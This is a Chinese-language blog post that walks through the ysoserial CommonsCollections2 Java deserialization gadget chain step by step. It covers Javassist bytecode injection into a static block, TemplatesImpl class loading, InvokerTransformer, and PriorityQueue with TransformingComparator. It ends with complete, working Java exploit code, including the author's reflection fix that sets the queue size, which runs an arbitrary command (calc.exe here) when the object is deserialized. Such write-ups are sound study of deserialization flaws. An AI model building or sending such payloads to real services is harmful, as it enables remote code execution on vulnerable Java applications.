沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

Java反序列化之CC2

0x00 前言


其实可以写一篇log4j2的利用的文章,不过怕了写出来影响不好,被别人学去攻击,所以还是等风头过去再写一下好了,不过已经在项目中加了一个Demo(反正没人看,应该没事)。12月已经过去一半了,上次立的一天分析一个Gadget的flag,到现在也只分析完CC1和URLDNS🤣,所以本篇文章就接着来分析ysoserial中的CC2链。

本篇包含以下元素:

  • Javassist对字节码的操作

  • ClassLoader对字节码的加载

  • TemplatesImpl链的构造

  • CC2-Gadget的分析(最后居然写出了一个和网上和ysoserial工具里有点不一样的Payload👍)

  • CC2-Gadget的利用(JDK7和8都可以跑通,14好像因为模块问题不行,下次有空再更细致的测试)

因为这条链的艺术性很高,一直在想怎么才能写好,所以一直托更。😋绝不是因为又摆烂玩游戏去了哦

0x01 前置知识


Javassist

Javassist是一个可以对字节码进行编辑的Java库(需要自己导入,建议使用Maven)

<dependency>
    <groupId>javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.12.1.GA</version>
</dependency>

通过他,我们可以很方便的在一个类中插入新的方法和代码。一个例子如下:

首先创建一个空类:

//use javassist to add something
public class Hello {
    public void SayHello(){
    }
}

然后我们使用javassist去为他加上一些东西:

public class JavassistDemo {
    public static void main(String[] args) throws Exception{
        //获取类的搜索路径
        ClassPool pool = ClassPool.getDefault();
        //从搜索路径中获取对应类的CtClass对象,如果没有,则会自动加入
        CtClass ctClass = pool.get(Hello.class.getName());
        //定义要插入的代码
        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        //makeClassInitializer() -> 新增静态代码块。insertBefore在static中靠前位置插入
        ctClass.makeClassInitializer().insertBefore(cmd);
        //设置类名
        ctClass.setName("Hello");
        //写入到对应目录下
        ctClass.writeFile("testClass");
    }
}

运行上述代码,将会在testClass目录生成一个Hello.class,其反编译内容如下:

public class Hello {
    public Hello() {
    }

    public void SayHello() {
    }

    static {
        Runtime.getRuntime().exec("calc.exe");
    }
}

可以看到,其以我们一开始给出的空的Hello类为模板,插入了给定的static代码。

ClassLoder

ClassLoader是Java内置的一个类,借助他,可以实现将字节码加载为内存形式的class对象,然后进行进一步的操作。一个例子如下:

使用ClassLoader加载并实例化我们上面用Javassist生成的新类,首先我们需要自定义一个loader:

public class ClassLder extends ClassLoader{
    public ClassLder(ClassLoader parent){
        super(parent);
    }

    public Class define(byte []b){
        return super.defineClass(b,0,b.length);//加载字节码
    }
}

然后我们接着在上面的 JavassistDemo中追加如下代码:

public class JavassistDemo {
    public static void main(String[] args) throws Exception{
		//同上,省略
        //将hello对象转换为字节码
        final byte[] classBytes = ctClass.toBytecode();
        //获取loader
        ClassLder loader = new ClassLder(JavassistDemo.class.getClassLoader());
        //加载字节码,并实例化
        loader.define(classBytes).newInstance();
    }
}

运行之后,我们就会发现,成功的由字节码生成了实例对象。

0x02 TemplatesImpl链


通过上面的例子,我们发现,如果一个字节码形式的类被写入了恶意的static代码,那么在利用ClassLoader进行实例化的时候,就会触发。CC2正是这个思路,他借助TemplatesImpl(com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java)构造了一条触发链,下面我们就来一步步分析。

newTransformer

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);
    //省略
}

在TemplatesImpl#newTransformer中,我们可以看到一个getTransletInstance()的方法调用,这个名字听起来就像是实例化,跟进他,进一步查看。

getTransletInstance

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;
        if (_class == null) defineTransletClasses();
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    //省略

如果细心的话,就会发现这里的代码和我们在上面用ClassLoader加载字节码并实例化十分类似,都有definexx,然后使用newInstance进行实例化。跟进defineTransletClasses,会发现确实是使用了ClassLoader。

defineTransletClasses

private void defineTransletClasses()
    throws TransformerConfigurationException {
	//略
    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
		//略
        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
        //省略

代码有点多,但是只需要看几个关键部分。

第一个就是这里使用了自定义的ClassLoader:

TransletClassLoader loader = (TransletClassLoader) xxx

查看类声明如下:

static final class TransletClassLoader extends ClassLoader {}

第二个重要部分如下:

_class[i] = loader.defineClass(_bytecodes[i]);

这里使用了loader的defineClass方法来从_bytecodes数组(这是一个二元数组)中加载字节码,放入_class[]数组中。所以defineClass实现的效果就是用ClassLoader加载字节码,然后放入_class[]数组。最后,当我们回到getTransletInstance时,就会调用_class[_transletIndex].newInstance()实例化字节码中的类。

几处细节

经过上面的分析,我们似乎已经能够构造出一个完整的TemplatesImpl链,但是在构造过程中,我们还有几处细节需要注意。

首先是getTransletInstance中会对_name参数进行检查是否为空:

if (_name == null) return null;

另外一个点是,getTransletInstance中实例化时 _class[_transletIndex].newInstance()中的_transletIndex,这个变量默认是-1,但是在进入defineTransletClasses时会进行重新赋值:

for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    else {
        _auxClasses.put(_class[i].getName(), _class[i]);
    }
}

为了保证能够成功实例化,我们就需要进入到 _transletIndex = i,而这里会进行一个父类的检查,判断是否为ABSTRACT_TRANSLET,查看代码,其值为:

private static String ABSTRACT_TRANSLET
    = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

可以发现在实例化时,也会进行这个类的类型转换:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()

此外,在构造Loader的时候,TransletClassLoader loader = (TransletClassLoader)的时候有一个_tfactory.getExternalExtensionsMap(),这里如果不指定会出现空指针(一开始按照参考文章说的没有加,发现报错,但也有可能是我太菜的操作失误)。查看_tfactory的定义如下:

private transient TransformerFactoryImpl _tfactory = null;

所以需要赋值TransformerFactoryImpl类型的值。

由上,我们便可知,在构造时,需要给TemplatesImpl链赋予_name,_tfactory,另外还需要_bytecodes中的字节码类要继承AbstractTranslet。

构造

第一步,我们先写出一个供Javassist操作的模板类,他需要继承AbstractTranslet(也可以先不继承,后面用Javassist的setSuperclass修改父类),同时实现Serializable接口:

public class MyTemplate extends AbstractTranslet implements Serializable {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }
}

第二步,用Javassist对模板类插入static的恶意代码:

public class TempChain {
    public static void main(String[] arags) throws Exception{
        final byte[] byteCode = TempChain.makeByteCode();
    }
    public static byte[] makeByteCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(MyTemplate.class.getName());
        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("NormalClass");
        return ctClass.toBytecode();
    }
}

第三步,利用反射调用,对TemplatesImpl类进行赋值,修改其_name、_tfactory和_bytecodes[][]的值:

public static void main(String[] arags) throws Exception{
    final byte[] byteCode = TempChain.makeByteCode();
    //set the _name for templates
    TemplatesImpl templates = new TemplatesImpl();
    Class clz = templates.getClass();
    Field field1 = clz.getDeclaredField("_name");
    field1.setAccessible(true);
    field1.set(templates, "foo");
    //set the _bytecodes[][]  for templates
    Field field2 = clz.getDeclaredField("_bytecodes");
    field2.setAccessible(true);
    field2.set(templates,new byte[][]{byteCode});
	//set the _tfactory  for templates
    Field field3 = clz.getDeclaredField("_tfactory");
    field3.setAccessible(true);
    field3.set(templates, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
}

第四步,调用templates中的newTransformer进行测试:

//test
templates.newTransformer();

如果这时,弹出了计算器,则表示成功。

0x03 InvokerTransformer


transform

在CC1中,我们就对InvokerTransformer#transform(Object input)有所了解,通过他,可以让我们反射调用到任意方法。CC2就是利用他,来调用templates的newTransformer方法(至于为什么要这么做,大概是因为很多类都有transform而没有newTransformer吧,可以帮助我们继续构造Gadget)。下面是一个测试,在上文的代码中添加如下行:

InvokerTransformer invoker =  new InvokerTransformer("newTransformer",new Class[0],new Object[0]);
invoker.transform(templates);

成功弹出计算器。

0x04 PriorityQueue链


虽然成功包装成了transform即可调用,但是这显然还不够,需要找到一个能够由readObject类触发的链进一步包装才行。这里你可能会想到可以顺着CC1的思路,用ChainedTransformer,最后再用Anno…Handler进行包装,但是好像CC4.0中某些类不能序列化了,所以不行(未验证,以后再测试)。CC2-Gadget中采用PriorityQueue链最终达到了readObject触发的效果,下面一步步来分析。

readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
    // Read in (and discard) array length
    s.readInt();
    queue = new Object[size];
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    heapify();
}

这里的queue虽然在PriorityQueue类中声明为transient,但是因为重写的writeObject有把他序列化,所以还是参与了序列化。不过这并没有什么重要的,继续跟进heapify。

heapify

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

>>>是无符型右移位算,效果相当于除以2。这里会把i和queue[i]传入,继续跟进siftDown。

siftDown

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

当comparator存在时,就会进入 siftDownUsingComparator。这个参数是可控的:

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

继续跟进。

siftDownUsingComparator

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

在这里会调用comparator中的compare方法,老实说,我也一开始没看懂这有什么用,但是接下来出现的一个类,就会将所有东西给串起来,让你豁然开朗。

0x05 TransformingComparator


这个类看名字就是一个comparator,在他的compare方法中,调用了我们熟悉的transform:

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

可以看到,不仅是调用了transform,而且传参类型是object,意味着我们的TemplatesImpl链可以传进去。另外这里的transformer也是可控的:

public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
    this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                              final Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

所以,我们完全可以把transformer赋值为InvokerTransformer,如果传入的obj(即我们PriorityQueue链中的queue)再为TemplatesImpl链的话,整个Gadget就被串了起来。

0x06 构造Gadget


思路

  1. 准备好一个TemplatesImpl链(在上文已经成功构造好了)
  2. 创建new InvokerTransformer(“newTransformer”,new Class[0],new Object[0])的invoker
  3. 准备一个TransformingComparator对象,并把他的transformer设置为上一步获得的invoker
  4. 创建一个PriorityQueue,将其comparator设置为上面的TransformingComparator,queue[]中传入我们的TemplatesImpl链

细节

queue[]是一个数组,我们要把TemplatesImpl链设置为queue[0],queue[1]?还是queue[x]呢?下面仔细思考一下:

在触发处:

//public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);

在siftDownUsingComparator传入compare时:

//private void siftUpUsingComparator(int k, E x) 
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)

在heapify处:

for (int i = (size >>> 1) - 1; i >= 0; i--)
    siftDown(i, (E) queue[i]);//private void siftDown(int k, E x)

由上,可以得到,transform(obj1)中的obj1就是一开始的queue[i],这里的i时queue的size除2再减去1,所以size最少要为2,这时我们才能够把queue[0]设置为TemplatesImpl链。

构造

由上面的思路,开始构造(注意,此Payload不是最终Payload,还需要修正):

public class Payload {
    public static void main(String[] args) throws Exception{
        //get TemplateImplChain
        TemplatesImpl templates = (TemplatesImpl) Payload.makeTemp();
        //make invoker and set its iMethodName to be newTransformer
        InvokerTransformer invoker = new InvokerTransformer("newTransformer",
                new Class[0], new Object[0]);
        //make a comparator and set its this.transformer to be invoker
        TransformingComparator comparator = new TransformingComparator(invoker);
        //make PriorityQueueChain and set its comparator
        PriorityQueue priorityQueue = new PriorityQueue(1,comparator);//initialxxx must >= 1
        //set queue[0] to be TemplateImplChain && size==2
        Class clz = priorityQueue.getClass();
        Field field = clz.getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, new Object[]{templates,"foobar"});
        //test
        testSerialize(priorityQueue);
    }

    public static Object makeTemp() throws Exception{
        //make bytecode
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(MyTemplate.class.getName());
        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("NormalClass");
        byte[] byteCode =  ctClass.toBytecode();
        //make TemplateImplChain
        TemplatesImpl templates = new TemplatesImpl();
        Class clz = templates.getClass();
        Field field1 = clz.getDeclaredField("_name");
        field1.setAccessible(true);
        field1.set(templates, "foo");
        //set the _bytecodes[][]  for templates
        Field field2 = clz.getDeclaredField("_bytecodes");
        field2.setAccessible(true);
        field2.set(templates,new byte[][]{byteCode});
        //set the _tfactory  for templates
        Field field3 = clz.getDeclaredField("_tfactory");
        field3.setAccessible(true);
        field3.set(templates, Class.forName(
                "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;
    }

    public static void testSerialize(Object payload) throws Exception{
        //序列化
        FileOutputStream file = new FileOutputStream("abcdefu.bin");//why is this song everywhere :3
        ObjectOutputStream se = new ObjectOutputStream(file);
        se.writeObject(payload);
        se.close();
        //反序列化
        FileInputStream file1 = new FileInputStream("abcdefu.bin");
        ObjectInputStream unse = new ObjectInputStream(file1);
        unse.readObject();
        unse.close();
    }
}

看起来很好,但是运行后却没有成功?why??????

小小的修正

调试之后,发现new PriorityQueue后,size=0,而我们的readObject中,size最少要2,原来这个size并不是queue大小为2就会自动变的。看了网上和工具里的Payload后,发现他们都是使用的是queue.add(1)两次来占位,把size变成2,最后用反射来修改queue,不过这样一开始就不能把newTransformer设置进去,需要后面反射来设置,因为add最后也会调用compare(具体可以看参考文章,我觉得我的修正更好🤣)。不过既然反射可以修改queue,为什么不用来修改一下size捏?所以,我们修正后的Payload如下:

//set queue[0] to be TemplateImplChain && size==2
Class clz = priorityQueue.getClass();
Field field = clz.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, new Object[]{templates,"foobar"});
field = clz.getDeclaredField("size");//set the size to be 2,after the new PriorityQueue the size is still 0
field.setAccessible(true);
field.set(priorityQueue, 2);

把这一部分修改到上文的Payload中,就行了。(只多加入了3句话哦,三句话,让一个Payload成功运行,关注我,我是…🤣)

0x07 参考


Ysoserial Commons-Collections 利用链分析 (seebug.org)

ysoserial CommonsCollections2 详细分析 - 安全客,安全资讯平台 (anquanke.com)

Ysoserial CommonsColletions2 两个问题 - 先知社区 (aliyun.com)